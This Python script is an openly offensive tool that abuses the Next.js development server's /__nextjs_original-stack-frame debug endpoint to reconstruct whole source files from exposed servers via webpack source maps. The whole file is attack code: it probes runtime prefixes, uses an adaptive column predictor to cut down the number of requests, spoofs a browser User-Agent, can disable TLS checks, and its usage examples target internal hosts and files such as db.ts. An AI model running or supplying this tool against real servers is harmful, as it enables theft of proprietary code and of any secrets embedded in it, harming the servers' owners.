nextjs_stackframe_extractor.py

#!/usr/bin/env python3
"""
Next.js /__nextjs_original-stack-frame source extractor

Abuses the Next.js dev server debug endpoint to extract full source files
via webpack source maps. Works when the endpoint is network-accessible
(dev server exposed without auth).

Usage:
    python3 nextjs_stackframe_extractor.py <host> <file_path> [options]

Examples:
    python3 nextjs_stackframe_extractor.py http://10.1.1.1 src/components/test/test.tsx
    python3 nextjs_stackframe_extractor.py http://10.1.1.1 src/app/test/test.ts --server
    python3 nextjs_stackframe_extractor.py http://10.1.1.1 src/lib/db.ts --output db.ts
"""

import argparse
import json
import re
import sys
import urllib.parse
from collections import defaultdict
from pathlib import Path

import requests


ENDPOINT = "/__nextjs_original-stack-frame"

PREFIXES = {
    "browser": "(app-pages-browser)",
    "server":  "(rsc)",
    "edge":    "(edge-server)",
    "pages":   "(pages)",
}

ANSI_ESCAPE  = re.compile(r"\x1b\[[0-9;]*m")
FRAME_LINE   = re.compile(r"^[> ]\s*(\d+)\s*\|\s?(.*)$")
# Count net bracket openings on a single source line, ignoring strings/comments.
# Good enough for indentation tracking; we're not writing a full parser.
_OPEN_RE     = re.compile(r"[{(\[]")
_CLOSE_RE    = re.compile(r"[})\]]")
_STRING_RE   = re.compile(r"(\"(?:\\.|[^\"])*\"|'(?:\\.|[^'])*'|`(?:\\.|[^`])*`)")
_COMMENT_RE  = re.compile(r"//.*$|/\*.*?\*/", re.DOTALL)


# ---------------------------------------------------------------------------
# Source-map-aware column predictor
# ---------------------------------------------------------------------------

class ColumnPredictor:
    """
    Predicts which compiled column to try next based on:
      1. The bracket/indentation depth of the source we have seen so far
      2. Which columns have worked at each depth previously
      3. The last successful column (often repeats within a block)

    The compiled bundle column loosely correlates with the original source
    indentation level because webpack preserves relative nesting offsets in
    its output sourcemaps.  We learn this mapping on the fly and use it to
    cut down the per-line column search from O(N) to O(1) on average.
    """

    # Seed priors from empirical observation of Next.js 14/15 webpack output.
    # depth 0 = top-level, depth 1 = one block in, etc.
    _PRIORS: dict[int, list[int]] = {
        0: [1, 4],
        1: [4, 11, 1],
        2: [11, 15, 4],
        3: [15, 31, 11],
        4: [31, 47, 15],
    }
    _MAX_SCAN = 200   # absolute column ceiling for linear fallback

    def __init__(self) -> None:
        # learned: depth -> sorted list of cols that worked at that depth
        self._depth_cols: dict[int, list[int]] = defaultdict(list)
        self._bracket_depth: int = 0
        self._last_col: int | None = None
        self._verbose: bool = False

    # ------------------------------------------------------------------
    # Public interface
    # ------------------------------------------------------------------

    def candidates(self) -> list[int]:
        """Priority-ordered column candidates for the *next* compiled line."""
        depth = self._bracket_depth
        seen: set[int] = set()
        out: list[int] = []

        def add(*cols):
            for c in cols:
                if c > 0 and c not in seen:
                    seen.add(c)
                    out.append(c)

        # 1. Same column as the last hit — highest probability within a block.
        if self._last_col is not None:
            add(self._last_col)

        # 2. Columns learned at the current bracket depth.
        add(*self._depth_cols.get(depth, []))

        # 3. Columns from neighbouring depths (bracket just opened/closed).
        add(*self._depth_cols.get(depth + 1, []))
        add(*self._depth_cols.get(max(0, depth - 1), []))

        # 4. Prior estimates for this depth.
        add(*self._PRIORS.get(depth, self._PRIORS[min(depth, max(self._PRIORS))]))

        # 5. All other learned columns across all depths.
        for cols in self._depth_cols.values():
            add(*cols)

        # 6. Linear scan fallback.
        add(*range(1, self._MAX_SCAN + 1))

        return out

    def record_hit(self, col: int, new_source_lines: list[tuple[int, str]]) -> None:
        """
        Update the model after a successful fetch.
        new_source_lines: (orig_lineno, code) pairs from the codeFrame, in order.
        """
        depth = self._bracket_depth
        self._last_col = col

        # Add col to learned set for this depth (keep sorted, no duplicates).
        if col not in self._depth_cols[depth]:
            self._depth_cols[depth].append(col)
            self._depth_cols[depth].sort()

        # Advance depth through the newly revealed source lines.
        for _, code in sorted(new_source_lines):
            self._update_depth(code)

        if self._verbose:
            print(
                f"    [predictor] col={col} depth={depth}→{self._bracket_depth} "
                f"next_candidates={self.candidates()[:6]}",
                file=sys.stderr,
            )

    # ------------------------------------------------------------------
    # Internal helpers
    # ------------------------------------------------------------------

    def _update_depth(self, source_line: str) -> None:
        """Advance bracket depth by net brackets on one source line."""
        # Strip strings and comments so we don't count brackets inside them.
        stripped = _COMMENT_RE.sub("", _STRING_RE.sub("", source_line))
        opens  = len(_OPEN_RE.findall(stripped))
        closes = len(_CLOSE_RE.findall(stripped))
        self._bracket_depth = max(0, self._bracket_depth + opens - closes)


# ---------------------------------------------------------------------------
# HTTP helpers
# ---------------------------------------------------------------------------

def build_file_param(file_path: str, prefix: str) -> str:
    clean = file_path.replace("\\", "/").lstrip("/")
    return f"webpack-internal:///{prefix}/./{clean}"


def build_url(base: str, file_param: str, line: int, column: int,
              is_server: bool, is_edge: bool) -> str:
    params = {
        "isServer":       str(is_server).lower(),
        "isEdgeServer":   str(is_edge).lower(),
        "isAppDirectory": "true",
        "errorMessage":   "Error: source extraction",
        "file":           file_param,
        "methodName":     "__extract__",
        "arguments":      "",
        "lineNumber":     line,
        "column":         column,
    }
    return f"{base}{ENDPOINT}?{urllib.parse.urlencode(params)}"


def fetch_frame(session: requests.Session, url: str, timeout: int = 10) -> dict | None:
    try:
        r = session.get(url, timeout=timeout)
        if r.status_code == 200 and r.content:
            return r.json()
        return None
    except (requests.RequestException, json.JSONDecodeError, ValueError):
        return None


def parse_code_frame(frame: str) -> list[tuple[int, str]]:
    pairs = []
    for raw in frame.splitlines():
        m = FRAME_LINE.match(ANSI_ESCAPE.sub("", raw))
        if m:
            pairs.append((int(m.group(1)), m.group(2)))
    return pairs


# ---------------------------------------------------------------------------
# Core scanner
# ---------------------------------------------------------------------------

def scan_via_code_frame(
    session: requests.Session,
    url_fn,
    seed_line: int,
    seed_col: int,
    max_compiled_lines: int = 500,
    miss_limit: int = 20,
    verbose: bool = False,
) -> str:
    """
    Iterate compiled line numbers 1..max_compiled_lines.

    Column budget per compiled line scales with knowledge:
      - No hits yet (cold):  try only the top `COLD_COL_LIMIT` priority candidates.
        We don't know enough yet to justify a full linear scan per line.
      - At least one hit (warm): try the full priority list including the
        linear fallback.  The predictor is now informed so the true column
        usually appears in the first 1-3 candidates anyway.

    This prevents the cold-start problem of spending O(200) requests on every
    compiled line before the seed line when none of them have any source map
    entry for the target file.
    """
    COLD_COL_LIMIT = 8    # columns to try per line before we've seen any hit
    WARM_COL_LIMIT = 60   # columns to try per line once we're warm (cap linear fallback)

    predictor = ColumnPredictor()
    predictor._verbose = verbose
    predictor._last_col = seed_col   # bootstrap with the seed column

    collected: dict[int, str] = {}
    seen_orig: set[int]        = set()
    requests_made: int         = 0
    consecutive_misses: int    = 0
    past_seed: bool            = False
    warm: bool                 = False   # True once we've had at least one hit

    for compiled_ln in range(1, max_compiled_lines + 1):
        hit       = False
        new_pairs: list[tuple[int, str]] = []
        candidates = predictor.candidates()

        # Limit candidates: cold = top 8, warm = top 60 (cap linear fallback).
        limit = WARM_COL_LIMIT if warm else COLD_COL_LIMIT
        candidates = candidates[:limit]

        for col in candidates:
            url  = url_fn(compiled_ln, col)
            data = fetch_frame(session, url)
            requests_made += 1

            if data is None:
                continue

            # Fast path: server returns the full file.
            full = data.get("sourceContents") or data.get("source")
            if full:
                print(
                    f"\r  [scan]  sourceContents at compiled={compiled_ln},{col} "
                    f"after {requests_made} requests          ",
                    file=sys.stderr,
                )
                return full

            frame_text = data.get("originalCodeFrame") or data.get("codeFrame") or ""
            pairs = parse_code_frame(frame_text)
            if not pairs:
                continue

            for orig_ln, content in pairs:
                if orig_ln not in seen_orig:
                    seen_orig.add(orig_ln)
                    collected[orig_ln] = content
                    new_pairs.append((orig_ln, content))

            predictor.record_hit(col, new_pairs)
            warm = True
            # Only count as a productive hit if we learned new source lines.
            # Stale hits (all lines already seen) still terminate the col loop
            # but do NOT reset the miss counter — the scan must advance.
            hit = bool(new_pairs)

            sf = data.get("originalStackFrame") or {}
            highlighted = sf.get("lineNumber") or pairs[len(pairs) // 2][0]
            if verbose:
                print(
                    f"\r  [scan]  compiled={compiled_ln:4d} col={col:4d} "
                    f"→ orig≈{highlighted:4d} | "
                    f"reqs={requests_made} orig_lines={len(collected)} "
                    f"depth={predictor._bracket_depth} "
                    f"next={predictor.candidates()[:4]}   ",
                    file=sys.stderr,
                )
            else:
                print(
                    f"\r  [scan]  compiled={compiled_ln:4d}  "
                    f"reqs={requests_made}  orig_lines={len(collected)}   ",
                    end="",
                    file=sys.stderr,
                )
            break

        if compiled_ln >= seed_line:
            past_seed = True

        if past_seed:
            consecutive_misses = 0 if hit else consecutive_misses + 1
            if consecutive_misses >= miss_limit:
                break

    print(file=sys.stderr)

    if not collected:
        return ""

    max_ln = max(collected.keys())
    return "\n".join(collected.get(i, "") for i in range(1, max_ln + 1))


# ---------------------------------------------------------------------------
# Prefix probing
# ---------------------------------------------------------------------------

def try_prefix(
    session: requests.Session,
    host: str,
    file_path: str,
    prefix_key: str,
    seed_line: int,
    seed_col: int,
    is_server: bool,
    is_edge: bool,
    timeout: int,
    verbose: bool,
) -> str | None:
    prefix     = PREFIXES[prefix_key]
    file_param = build_file_param(file_path, prefix)

    def make_url(ln, col):
        return build_url(host, file_param, ln, col, is_server, is_edge)

    # Quick probe at the seed coordinates to confirm the prefix is right.
    probe_url = make_url(seed_line, seed_col)
    print(f"  [probe] {prefix_key:8s} → {probe_url}", file=sys.stderr)
    data = fetch_frame(session, probe_url, timeout)
    if data is None:
        # Also try col 1 — the seed col might be specific to a different prefix.
        data = fetch_frame(session, make_url(seed_line, 1), timeout)
    if data is None:
        return None

    full = data.get("sourceContents") or data.get("source")
    if full:
        print(f"  [hit]   sourceContents ({len(full)} bytes)", file=sys.stderr)
        return full

    frame_text = data.get("originalCodeFrame") or data.get("codeFrame") or ""
    if not frame_text:
        return None

    print(f"  [scan]  codeFrame confirmed, running adaptive column scan…", file=sys.stderr)
    return scan_via_code_frame(session, make_url, seed_line, seed_col, verbose=verbose)


def extract(
    session: requests.Session,
    host: str,
    file_path: str,
    seed_line: int,
    seed_col: int,
    is_server: bool,
    is_edge: bool,
    timeout: int,
    verbose: bool,
) -> tuple[str, str] | None:
    order = []
    if is_edge:
        order.append("edge")
    if is_server:
        order += ["server", "pages"]
    order += ["browser", "pages", "server", "edge"]

    seen: set[str] = set()
    for key in order:
        if key in seen:
            continue
        seen.add(key)
        source = try_prefix(session, host, file_path, key,
                             seed_line, seed_col, is_server, is_edge, timeout, verbose)
        if source:
            return source, key

    return None


# ---------------------------------------------------------------------------
# CLI
# ---------------------------------------------------------------------------

BANNER = r"""
+---------------------------------------------------------------+
|   ____  _             _      _____                           |
|  / ___|| |_ __ _  ___| | __ |  ___| __ __ _ _ __ ___   ___  |
|  \___ \| __/ _` |/ __| |/ / | |_ | '__/ _` | '_ ` _ \ / _ \ |
|   ___) | || (_| | (__|   <  |  _|| | | (_| | | | | | |  __/ |
|  |____/ \__\__,_|\___|_|\_\ |_|  |_|  \__,_|_| |_| |_|\___| |
|                                          Source Extractor     |
|  Next.js /__nextjs_original-stack-frame  webpack source maps  |
+---------------------------------------------------------------+
"""

EXAMPLES = """
examples:
  # Basic — browser-side component (seed from any captured request)
  %(prog)s http://10.1.1.1 src/components/test/test.tsx

  # Server-side file (RSC / API route) — use --server
  %(prog)s http://10.1.1.1 src/lib/test.ts --server

  # App Router API route with known seed coordinates
  %(prog)s http://10.1.1.1 src/app/test/route.ts \\
           --server --line 11

  # Save output to file + verbose column trace
  %(prog)s http://10.1.1.1 src/lib/test.ts --server -o test.ts -v

  # HTTPS target with self-signed cert
  %(prog)s https://target.internal src/lib/db.ts --server --no-verify

how it works:
  Next.js dev servers expose /__nextjs_original-stack-frame to resolve
  error overlay stack traces.  The endpoint accepts a webpack-internal://
  file URL + compiled line/column and returns the original source via
  source maps.  This tool walks compiled line numbers, uses a bracket-depth
  predictor to guess the correct column offset without brute-forcing, and
  stitches overlapping codeFrame windows into the full source file.

  Prefixes tried automatically: (rsc), (app-pages-browser), (pages), (edge-server)
"""


class HelpFormatter(argparse.RawDescriptionHelpFormatter):
    def add_usage(self, usage, actions, groups, prefix=None):
        pass   # suppress the default usage line; banner covers it


def main() -> None:
    parser = argparse.ArgumentParser(
        formatter_class=HelpFormatter,
        description=BANNER,
        epilog=EXAMPLES,
    )
    parser.add_argument("host",
        help="Target base URL  (e.g. http://10.1.1.1)")
    parser.add_argument("file",
        help="Source file path (e.g. src/components/test/test.tsx)")

    scan = parser.add_argument_group("scan options")
    scan.add_argument("--line", "-l", type=int, default=10, metavar="N",
        help="Seed compiled line number — any line from a captured request works (default: 10)")
    scan.add_argument("--column", "-c", type=int, default=1, metavar="N",
        help="Seed compiled column (default: 1, predictor will discover others)")

    runtime = parser.add_argument_group("runtime flags")
    runtime.add_argument("--server", action="store_true",
        help="File is server-side: tries (rsc) prefix first")
    runtime.add_argument("--edge", action="store_true",
        help="File is edge runtime: tries (edge-server) prefix first")

    output = parser.add_argument_group("output")
    output.add_argument("--output", "-o", metavar="FILE",
        help="Write extracted source to FILE (default: stdout)")
    output.add_argument("--verbose", "-v", action="store_true",
        help="Show per-request detail: column chosen, bracket depth, predictor state")

    misc = parser.add_argument_group("misc")
    misc.add_argument("--timeout", type=int, default=10, metavar="SEC",
        help="HTTP request timeout in seconds (default: 10)")
    misc.add_argument("--no-verify", action="store_true",
        help="Disable TLS certificate verification")

    args = parser.parse_args()

    host = args.host.rstrip("/")

    session = requests.Session()
    session.verify = not args.no_verify
    session.headers.update({
        "User-Agent": (
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) "
            "AppleWebKit/537.36 (KHTML, like Gecko) "
            "Chrome/143.0.0.0 Safari/537.36"
        ),
        "Accept": "*/*",
        "Referer": f"{host}/",
    })

    runtime = "edge" if args.edge else "server" if args.server else "browser"
    print(f"[*] Target  : {host}", file=sys.stderr)
    print(f"[*] File    : {args.file}", file=sys.stderr)
    print(f"[*] Seed    : compiled line {args.line}, col {args.column}", file=sys.stderr)
    print(f"[*] Runtime : {runtime}", file=sys.stderr)
    print(file=sys.stderr)

    result = extract(
        session, host, args.file,
        args.line, args.column,
        args.server, args.edge,
        args.timeout, args.verbose,
    )

    if result is None:
        print(
            "[!] No source extracted — check host, file path, or seed coordinates.",
            file=sys.stderr,
        )
        sys.exit(1)

    source, prefix = result
    print(f"[+] {len(source)} bytes extracted (prefix: {prefix})\n", file=sys.stderr)

    if args.output:
        out = Path(args.output)
        out.parent.mkdir(parents=True, exist_ok=True)
        out.write_text(source)
        print(f"[+] Saved → {out}", file=sys.stderr)
    else:
        print(source)


if __name__ == "__main__":
    main()